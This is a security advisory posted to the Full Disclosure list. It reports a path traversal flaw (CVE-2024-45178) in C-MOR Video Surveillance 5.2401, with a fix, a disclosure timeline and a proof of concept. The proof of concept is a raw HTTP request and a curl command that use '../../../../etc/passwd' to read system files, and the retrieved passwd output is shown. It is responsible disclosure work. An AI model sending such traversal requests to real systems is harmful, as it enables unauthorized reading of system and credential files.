Message-ID: <ac86e55d-8dba-425a-bc0e-5c531ada9a7f@syss.de>
Date: Wed, 4 Sep 2024 08:13:11 +0200
From: Matthias Deeg via Fulldisclosure <fulldisclosure@...lists.org>
To: <fulldisclosure@...lists.org>
Subject: [FD] [SYSS-2024-025]: C-MOR Video Surveillance - Relative Path
 Traversal (CWE-23)

Advisory ID:               SYSS-2024-025
Product:                   C-MOR Video Surveillance
Manufacturer:              za-internet GmbH
Affected Version(s):       5.2401
Tested Version(s):         5.2401
Vulnerability Type:        Relative Path Traversal (CWE-23)
Risk Level:                High
Solution Status:           Fixed
Manufacturer Notification: 2024-04-05
Solution Date:             2024-07-31
Public Disclosure:         2024-09-04
CVE Reference:             CVE-2024-45178
Authors of Advisory:       Chris Beiter, Frederik Beimgraben,
                            and Matthias Deeg

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your
surveillance over network and the Internet. You can access the live
view as well as previous recordings from any PC or mobile device.
C-MOR is managed and controlled over the C-MOR web interface.
IP settings, camera recording setup, user rights and so on are set
over the web without the installation of any software on the
client."[1]

Due to improper user input validation, it is possible to download
arbitrary files from the C-MOR system via a path traversal attack.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

By analyzing the C-MOR web interface, it was found that different
functionalities are vulnerable to path traversal attacks, which is
due to insufficient user input validation.

For instance, the download functionality for backups provided by the
script "download-bkf.pml" is vulnerable to a path traversal
attack via the parameter "bkf".

This enables an authenticated user to download arbitrary files as
Linux user "www-data" from the C-MOR system.

Another path traversal attack is in the script "show-movies.pml",
which can be exploited via the parameter "cam".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using the following HTTP POST request with the relative path
"../../../../etc/passwd" as value for the parameter "bkf", it is
possible to download the file "/etc/passwd":

POST /download-bkf.pml HTTP/1.1
Host: <HOST>
Authorization: Basic <CREDENTIALS>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

bkf=../../../../etc/passwd


An example of a successful path traversal attack is demonstrated via
the following curl command:

$ curl -X POST -d 'bkf=../../../../etc/passwd' --user 
'<USERNAME>:<PASSWORD>' --ciphers 'DEFAULT:!DH' 
https://<HOST>/download-bkf.pml
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
cam:x:1000:1000:Cam,,,:/home/cam:/bin/bash
postfix:x:104:107::/var/spool/postfix:/bin/false
stunnel4:x:105:109::/var/run/stunnel4:/bin/false
mysql:x:106:110:MySQL Server,,,:/var/lib/mysql:/bin/false
messagebus:x:107:113::/var/run/dbus:/bin/false
ntp:x:108:114::/home/ntp:/bin/false
download:x:1002:1002:Download User:/home/download:/bin/bash

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Install C-MOR Video Surveillance version 6.00PL1.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer
2024-04-05: Manufacturer acknowledges receipt of security advisories
2024-04-08: Exchange regarding security updates and disclosure timeline
2024-05-08: Further exchange concerning security updates and disclosure
             timeline; public release of all security advisories
             scheduled for release of C-MOR Video Surveillance version 6
2024-05-10: Release of C-MOR software version 5.30 with security updates
             for some reported security issues
2024-07-19: E-mail to manufacturer concerning release date of C-MOR
             Video Surveillance version 6; response with planned
             release date of 2024-08-01
2024-07-30: E-mail from manufacturer with further information
             concerning security fixes
2024-07-31: Release of C-MOR software version 6.00PL1
2024-09-04: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for C-MOR Video Surveillance
     https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-025
 
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-025.txt
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Chris Beiter, Frederik
Beimgraben, and Matthias Deeg.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en


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